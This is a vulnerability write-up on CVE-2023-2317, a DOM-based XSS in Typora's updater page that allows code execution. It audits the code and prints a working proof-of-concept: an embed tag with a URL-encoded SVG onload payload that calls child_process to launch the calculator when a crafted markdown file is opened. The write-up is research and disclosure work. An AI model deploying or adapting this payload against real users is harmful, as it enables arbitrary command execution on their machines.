Contents

CVE-2023-2317

1 CVE-2023-2317

DOM-based XSS in updater/update.html in Typora before 1.6.7 on Windows and Linux allows a crafted markdown file to run arbitrary JavaScript code in the context of Typora main window via loading typora://app/typemark/updater/update.html in tag. This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora.

By way of conclusion, it’s an XSS attack.

2 Code Audit

<script type="text/javascript">
  var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
  var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
  var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
  var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
  var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));

  document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
  document.querySelectorAll("[data-label]").forEach(function(dom){
    dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
  });
  document.querySelector("#release-panel").src = releaseNoteLink;

  var autoUpdateInput = document.querySelector("#preference-enable-auto-update")
  autoUpdateInput.checked = !!isAutoUpdateEnabled;
  autoUpdateInput.onchange = toggleAutoUpdate;
  if(hideAutoUpdates) {
    document.querySelector("#preference-enable-auto-update-wrapper").style.display = "none";
    document.querySelector("#skip-this-version-btn-group").style.display = "none";
  }
</script>

The code is found in Typora\resources\updater\updater.html. Let’s conduct a thorough analysis of its purpose.

Firstly, the code attempts to retrieve five parameters from the URL: curVersion, newVersion, releaseNoteLink, hideAutoUpdates, and labels. It uses regular expressions to match these parameters based on their names.

var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));

Next, it selects DOM elements by their IDs, attributes, or element types and updates their content.

document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
  dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
document.querySelector("#release-panel").src = releaseNoteLink;

Here lies a security issue: the code uses dom.innerHTML to refresh the content of DOM elements with the data-label attribute. This approach introduces a potential security vulnerability as it allows for the injection of arbitrary HTML and potentially malicious code into the page, leading to XSS and even RCE.

document.querySelectorAll("[data-label]").forEach(function(dom){ 
  dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});

Let’s take a look about the whole code again:

<script type="text/javascript">
  // get params from URL
  // 5 params parsed:
  //   curVersion newVersion releaseNoteLink hideAutoUpdates labels
  var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
  var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
  var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
  var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
  var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));

  // refresh DOM with labels which id = sum, XSS!
  document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
  // refresh DOM with labels whose attributes include data-label
  document.querySelectorAll("[data-label]").forEach(function(dom){
	// replace innerHTML with elements in labels, 
    dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
  });
  // refresh DOM with labels which id = release-panel
  document.querySelector("#release-panel").src = releaseNoteLink;

  var autoUpdateInput = document.querySelector("#preference-enable-auto-update")
  autoUpdateInput.checked = !!isAutoUpdateEnabled;
  autoUpdateInput.onchange = toggleAutoUpdate;
  if(hideAutoUpdates) {
    document.querySelector("#preference-enable-auto-update-wrapper").style.display = "none";
    document.querySelector("#skip-this-version-btn-group").style.display = "none";
  }
</script>

3 typora Protocol

The typora protocol is defined within Typora to access internal files and resources. For instance, you can use typora://app/typemark/updater/updater.html to access the updater.html file.

4 Exploitation

The payload is based on reqnode(), which is the implementation of require() in Typora:

reqnode('child_process').exec("calc")

Further payload can be constructed as follows:

<embed src="typora://app/typemark/updater/updater.html?curVersion=POC&newVersion=Of&releaseNoteLink=Typora&hideAutoUpdates=false&labels=["","<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>","","","",""]">

In this payload:

  • curVersion, newVersion, releaseNoteLink, and hideAutoUpdates parameters are set to arbitrary values.
  • The labels parameter contains an array with an element that includes a crafted SVG payload within a <svg> element.

The payload takes advantage of the fact that the content of elements with the data-label attribute is directly assigned to dom.innerHTML, allowing for script execution. To exploit this vulnerability, an attacker can create a Markdown file with the above payload and open it in Typora.

Oh, don’t forget to Encode releaseNoteLink and labels with URL encode. So the final payload looks like this:

<embed src="typora://app/typemark/updater/updater.html?curVersion=POC&newVersion=Of&releaseNoteLink=Typora&hideAutoUpdates=false&labels=%5B%22%22%2C%22%3Csvg%2Fonload%3Dtop%2Eeval%28%60reqnode%28%27child%5Fprocess%27%29%2Eexec%28%27calc%27%29%60%29%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22%2C%22%22%5D">

Copy it into a markdown file, and open it with Typora whose version is affected by CVE-2023-2317. (Or simply manually modify update.html by changing innerText into innerHTML.) When the Markdown file is rendered, the payload will execute, and pop out the calculator.

5 References

[1] CVE-2023-2317 https://nvd.nist.gov/vuln/detail/CVE-2023-2317